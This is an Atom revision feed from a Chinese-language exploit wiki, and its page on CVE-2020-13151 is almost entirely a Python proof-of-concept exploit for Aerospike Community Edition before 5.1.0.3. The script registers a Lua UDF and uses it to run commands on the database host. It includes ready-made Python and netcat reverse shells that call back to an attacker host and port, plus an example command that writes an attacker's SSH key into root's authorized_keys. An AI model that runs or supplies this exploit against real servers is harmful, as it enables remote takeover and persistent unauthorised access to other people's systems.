<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-13151_Aerospike_%E6%95%B8%E6%93%9A%E5%BA%AB%E4%B8%BB%E6%A9%9F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-13151 Aerospike 數據庫主機命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-13151_Aerospike_%E6%95%B8%E6%93%9A%E5%BA%AB%E4%B8%BB%E6%A9%9F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-13151_Aerospike_%E6%95%B8%E6%93%9A%E5%BA%AB%E4%B8%BB%E6%A9%9F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T04:49:16Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-13151_Aerospike_%E6%95%B8%E6%93%9A%E5%BA%AB%E4%B8%BB%E6%A9%9F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2878&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==漏洞影響== Aerospike 社區版 \&lt;5.1.0.3   ==POC== &lt;pre&gt; #!/usr/bin/env python3 import argparse import random import os, sys from time import sleep import string # requi...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-13151_Aerospike_%E6%95%B8%E6%93%9A%E5%BA%AB%E4%B8%BB%E6%A9%9F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2878&amp;oldid=prev"/>
		<updated>2021-05-17T01:37:54Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==漏洞影響== Aerospike 社區版 \&amp;lt;5.1.0.3   ==POC== &amp;lt;pre&amp;gt; #!/usr/bin/env python3 import argparse import random import os, sys from time import sleep import string # requi...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==漏洞影響==&lt;br /&gt;
Aerospike 社區版 \&amp;lt;5.1.0.3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import argparse&lt;br /&gt;
import random&lt;br /&gt;
import os, sys&lt;br /&gt;
from time import sleep&lt;br /&gt;
import string&lt;br /&gt;
# requires aerospike package from pip&lt;br /&gt;
import aerospike&lt;br /&gt;
# if this isn't installing, make sure os dependencies are met&lt;br /&gt;
# sudo apt-get install python-dev&lt;br /&gt;
# sudo apt-get install libssl-dev&lt;br /&gt;
# sudo apt-get install python-pip&lt;br /&gt;
# sudo apt-get install zlib1g-dev&lt;br /&gt;
PYTHONSHELL = &amp;quot;&amp;quot;&amp;quot;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;quot;{ip}&amp;quot;,{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&amp;quot;/bin/sh&amp;quot;,&amp;quot;-i&amp;quot;]);'&amp;amp;&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
NETCATSHELL = 'rm /tmp/ft;mkfifo /tmp/ft;cat /tmp/ft|/bin/sh -i 2&amp;gt;&amp;amp;1|nc {ip} {port} &amp;gt;/tmp/ft&amp;amp;'&lt;br /&gt;
def _get_client(cfg):&lt;br /&gt;
    try:&lt;br /&gt;
        return aerospike.client({&lt;br /&gt;
            'hosts': [(cfg.ahost, cfg.aport)],&lt;br /&gt;
             'policies': {'timeout': 8000}}).connect()&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;unable to access cluster @ {cfg.ahost}:{cfg.aport}\n{e.msg}&amp;quot;)&lt;br /&gt;
def _send(client, cfg, _cmd):&lt;br /&gt;
    try:&lt;br /&gt;
        print(client.apply((cfg.namespace, cfg.setname, cfg.dummystring ), 'poc', 'runCMD', [_cmd]))&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;[-] UDF execution returned {e.msg}&amp;quot;)&lt;br /&gt;
def _register_udf(client, cfg):&lt;br /&gt;
    try:&lt;br /&gt;
        client.udf_put(cfg.udfpath)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;[-] whoops, couldn't register the udf {cfg.udfpath}&amp;quot;)&lt;br /&gt;
        raise e&lt;br /&gt;
def _random_string(l):&lt;br /&gt;
    return ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(l)])&lt;br /&gt;
def _populate_table(client, cfg):&lt;br /&gt;
    ns = cfg.namespace&lt;br /&gt;
    setname = cfg.setname&lt;br /&gt;
    print(f&amp;quot;[+] writing to {ns}.{setname}&amp;quot;)&lt;br /&gt;
    try:&lt;br /&gt;
        rec = cfg.dummystring&lt;br /&gt;
        client.put((ns, setname, rec), {'pk':cfg.dummystring})&lt;br /&gt;
        print(f&amp;quot;[+] wrote {rec}&amp;quot;)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;[-] unable to write record: {e.msg}&amp;quot;)&lt;br /&gt;
        try:&lt;br /&gt;
            if e.msg.startswith('Invalid namespace'):&lt;br /&gt;
                print(&amp;quot;Valid namespaces: &amp;quot;)&lt;br /&gt;
                for n in _info_parse(&amp;quot;namespaces&amp;quot;, client).split(&amp;quot;;&amp;quot;):&lt;br /&gt;
                    print(n.strip())&lt;br /&gt;
        except:&lt;br /&gt;
            pass&lt;br /&gt;
        sys.exit(13)&lt;br /&gt;
def _info_parse(k, client):&lt;br /&gt;
    try: &lt;br /&gt;
        return [i[1] for i in client.info_all(k).values() ][0]&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;error retrieving information: {e.msg}&amp;quot;)&lt;br /&gt;
        return []&lt;br /&gt;
def _is_vuln(_mj, _mi, _pt, _bd):&lt;br /&gt;
    fixed = [5,1,0,3]&lt;br /&gt;
    found = [_mj, _mi, _pt, _bd]&lt;br /&gt;
    if fixed == found:&lt;br /&gt;
        return False&lt;br /&gt;
    for ix, val in enumerate(found):&lt;br /&gt;
        if val &amp;lt; fixed[ix]:&lt;br /&gt;
            return True&lt;br /&gt;
        elif val == fixed[ix]:&lt;br /&gt;
            pass&lt;br /&gt;
        else:&lt;br /&gt;
            return False&lt;br /&gt;
def _version_check(client):&lt;br /&gt;
    print(&amp;quot;[+] aerospike build info: &amp;quot;, end=&amp;quot;&amp;quot;)&lt;br /&gt;
    try:&lt;br /&gt;
        _ver = _info_parse(&amp;quot;build&amp;quot;, client)&lt;br /&gt;
        print(_ver)&lt;br /&gt;
        mj, mi, pt, bd = [int(i) for i in _ver.split('.')]&lt;br /&gt;
        if _is_vuln(mj, mi, pt, bd):&lt;br /&gt;
            print(&amp;quot;[+] looks vulnerable&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
        else:&lt;br /&gt;
            print(f&amp;quot;[-] this instance is patched.&amp;quot;)&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;[+] unable to interpret build number due to {e}&amp;quot;)&lt;br /&gt;
        print(&amp;quot;[+] continuing anyway... &amp;quot;)&lt;br /&gt;
def _exploit(cfg):&lt;br /&gt;
    client = _get_client(cfg)&lt;br /&gt;
    if not client:&lt;br /&gt;
        return&lt;br /&gt;
    _version_check(client)&lt;br /&gt;
    print(f&amp;quot;[+] populating dummy table.&amp;quot;)&lt;br /&gt;
    _populate_table(client, cfg)&lt;br /&gt;
    print(f&amp;quot;[+] registering udf&amp;quot;)&lt;br /&gt;
    _register_udf(client, cfg)&lt;br /&gt;
    if cfg.pythonshell or cfg.netcatshell:&lt;br /&gt;
        sys.stdout.flush()&lt;br /&gt;
        print(f&amp;quot;[+] sending payload, make sure you have a listener on {cfg.lhost}:{cfg.lport}&amp;quot;, end=&amp;quot;&amp;quot;)&lt;br /&gt;
        sys.stdout.flush()&lt;br /&gt;
        for i in range(4): &lt;br /&gt;
            print(&amp;quot;.&amp;quot;, end=&amp;quot;&amp;quot;)&lt;br /&gt;
            sys.stdout.flush()&lt;br /&gt;
            sleep(1)&lt;br /&gt;
        print(&amp;quot;.&amp;quot;)&lt;br /&gt;
        _send(client, cfg, PYTHONSHELL.format(ip=cfg.lhost,port=cfg.lport) if cfg.pythonshell else NETCATSHELL.format(ip=cfg.lhost,port=cfg.lport) )&lt;br /&gt;
    if cfg.cmd:&lt;br /&gt;
        print(f&amp;quot;[+] issuing command \&amp;quot;{cfg.cmd}\&amp;quot;&amp;quot;)&lt;br /&gt;
        _send(client, cfg, cfg.cmd)&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    if len(sys.argv) == 1:&lt;br /&gt;
        print(f&amp;quot;[+] usage examples:\n{sys.argv[0]} --ahost 10.11.12.13 --pythonshell --lhost=10.0.0.1 --lport=8000&amp;quot;)&lt;br /&gt;
        print(&amp;quot;... or ... &amp;quot;)&lt;br /&gt;
        print(f&amp;quot;{sys.argv[0]} --ahost 10.11.12.13 --cmd 'echo MYPUBKEY &amp;gt; /root/.ssh/authorized_keys'&amp;quot;)&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
    parser = argparse.ArgumentParser(description='Aerospike UDF Command Execution - CVE-2020-13151 - POC')&lt;br /&gt;
    parser.add_argument(&amp;quot;--ahost&amp;quot;, help=&amp;quot;Aerospike host, default 127.0.0.1&amp;quot;, default=&amp;quot;127.0.0.1&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;--aport&amp;quot;, help=&amp;quot;Aerospike port, default 3000&amp;quot;, default=3000, type=int)&lt;br /&gt;
    parser.add_argument(&amp;quot;--namespace&amp;quot;, help=&amp;quot;Namespace in which to create the record set&amp;quot;, default=&amp;quot;test&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;--setname&amp;quot;, help=&amp;quot;Name of set to populate with dummy record(s), default is cve202013151&amp;quot;, default=None)&lt;br /&gt;
    parser.add_argument('--dummystring', help=&amp;quot;leave blank for a random value, can use a previously written key to target a specific cluster node&amp;quot;, default=None)&lt;br /&gt;
    parser.add_argument(&amp;quot;--pythonshell&amp;quot;, help=&amp;quot;attempt to use a python reverse shell (requires lhost and lport)&amp;quot;, action=&amp;quot;store_true&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;--netcatshell&amp;quot;, help=&amp;quot;attempt to use a netcat reverse shell (requires lhost and lport)&amp;quot;, action=&amp;quot;store_true&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;--lhost&amp;quot;, help=&amp;quot;host to use for reverse shell callback&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;--lport&amp;quot;, help=&amp;quot;port to use for reverse shell callback&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;--cmd&amp;quot;, help=&amp;quot;custom command to issue against the underlying host&amp;quot;)&lt;br /&gt;
    parser.add_argument('--udfpath', help=&amp;quot;where is the udf to distribute? defaults to `pwd`/poc.lua&amp;quot;, default=None)&lt;br /&gt;
    cfg = parser.parse_args()&lt;br /&gt;
    if not cfg.setname:&lt;br /&gt;
        cfg.setname = 'cve202013151'&lt;br /&gt;
    if not cfg.dummystring:&lt;br /&gt;
        cfg.dummystring = _random_string(16)&lt;br /&gt;
    if not cfg.udfpath:&lt;br /&gt;
        cfg.udfpath = os.path.join(os.getcwd(), 'poc.lua')&lt;br /&gt;
    assert cfg.cmd or (cfg.lhost and cfg.lport and (cfg.pythonshell or cfg.netcatshell)), &amp;quot;Must specify a command, or a reverse shell + lhost + lport&amp;quot;&lt;br /&gt;
    if cfg.pythonshell or cfg.netcatshell:&lt;br /&gt;
        assert cfg.lhost and cfg.lport, &amp;quot;Must specify lhost and lport if using a reverse shell&amp;quot;&lt;br /&gt;
    _exploit(cfg)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>